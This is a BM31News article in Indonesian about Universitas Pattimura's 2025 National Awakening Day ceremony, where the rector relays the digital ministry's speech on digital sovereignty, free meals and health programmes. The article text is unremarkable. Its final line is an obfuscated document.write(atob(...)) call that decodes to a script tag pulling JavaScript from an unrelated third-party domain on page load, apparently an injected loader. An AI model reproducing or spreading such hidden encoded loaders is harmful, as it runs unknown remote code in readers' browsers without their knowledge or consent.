BM31News
BM31News

Unpatti Soroti Transformasi Digital dan Kesejahteraan Sosial di Harkitnas 2025

Upacara Hari Kebangkitan Nasional ke-117 di Universitas Pattimura Soroti Tantangan Zaman dan Komitmen untuk Indonesia yang Mandiri dan Berdaulat

Ambon, – Universitas Pattimura Ambon memperingati Hari Kebangkitan Nasional ke-117 dengan penuh khidmat dalam upacara yang berlangsung di Auditorium Universitas Pattimura, Senin (20/5/2025). Acara ini dipimpin langsung oleh Rektor Universitas Pattimura, Fredy Leiwakabessy selaku inspektur upacara.

Upacara tersebut diikuti oleh seluruh sivitas akademika, tenaga pendidik, dan tenaga kependidikan di lingkup Unpatti, sebagai bentuk penghormatan atas semangat kebangkitan nasional yang terus relevan di tengah tantangan zaman.

“Peringatan ini bukan hanya seremoni. Ini adalah pengingat bahwa bangsa ini lahir dari semangat persatuan, kesadaran, dan keberanian,” kata Rektor Unpatti, Fredy Leiwakabessy dalam pidatonya saat membacakan sambutan Menteri Komunikasi dan Digital (KOMDIGI) Republik Indonesia.

Dalam sambutannya, ia menegaskan bahwa kebangkitan nasional adalah ikhtiar yang tidak pernah usai, melainkan harus terus dilanjutkan melalui adaptasi terhadap tantangan global seperti disrupsi teknologi, ketegangan geopolitik, dan krisis kedaulatan digital.

“Kita hidup di era tanpa batas, di mana keberhasilan ditentukan oleh kemampuan untuk memimpin perubahan, bukan sekadar mengikutinya,” tegas Leiwakabessy.

Lebih lanjut, ia menyampaikan bahwa Indonesia telah dan akan terus menjadi mitra terpercaya di panggung global berkat politik luar negeri yang bebas dan aktif, yang memungkinkan dialog produktif dan solusi kolektif.

“Prinsip bebas aktif telah membawa Indonesia sebagai jembatan dialog internasional, dan itu adalah refleksi nyata dari semangat kebangkitan nasional,” ujar Leiwakabessy.

BM31News

Rektor juga menyampaikan capaian awal pemerintahan Presiden Prabowo-Gibran sebagai bentuk konkret dari pembangunan yang bersandar pada kebutuhan rakyat. Salah satunya adalah keberhasilan program makan bergizi gratis bagi 3,5 juta anak Indonesia dan layanan kesehatan gratis yang telah diakses oleh lebih dari 777.000 masyarakat.

“Bangkit itu dimulai dari perut kenyang, hati lapang, dan hidup tenang. Negara hadir melalui program sederhana yang berdampak besar,” ucapnya menegaskan.

Ia juga menyoroti langkah strategis pemerintah dalam mempersiapkan Indonesia menghadapi era digital melalui pelatihan vokasi dan pusat pengembangan kecerdasan artifisial, termasuk pendirian AI Centre of Excellence di Papua.

“Pembangunan bukan semata infrastruktur fisik, tapi juga infrastruktur pengetahuan dan perlindungan sosial, terutama bagi generasi muda,” tambahnya.

Dalam kesempatan tersebut, Rektor menegaskan bahwa delapan misi besar atau Asta Cita dari pemerintahan saat ini adalah kompas bagi arah baru kebangkitan nasional.

“Setiap program bukan sekadar target statistik, tapi harus terasa di hidup rakyat, di kota maupun di pelosok desa,” ungkapnya.

Sebagai penutup, Rektor Universitas Pattimura mengajak seluruh elemen bangsa untuk terus menanamkan semangat kebangkitan dalam keseharian.

“Kebangkitan sejati itu seperti akar pohon: diam, dalam, dan kuat menopang. Mari bangkit perlahan, namun pasti, menuju Indonesia yang adil dan beradab,” kata Rektor dengan penuh keyakinan.

Peringatan ini menjadi penegasan bahwa institusi pendidikan tinggi seperti Universitas Pattimura memegang peran vital dalam menjaga api semangat kebangsaan tetap menyala melalui pendidikan, riset, dan pelayanan masyarakat. (BM31)


Dapatkan berita terbaru dari BM31News.com langsung di ponsel Anda! Klik untuk bergabung di Channel WhatsApp dan Telegram kami sekarang juga.

document.write(atob("PHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0nLy9iZW50cGVyc3Vhc2l2ZS5jb20vNGMvMjgvMmUvNGMyODJlZDI1M2VjNzk3N2Y0ZGI1YTNhOGFhZDdmNzQuanMnPjwvc2NyaXB0Pg=="));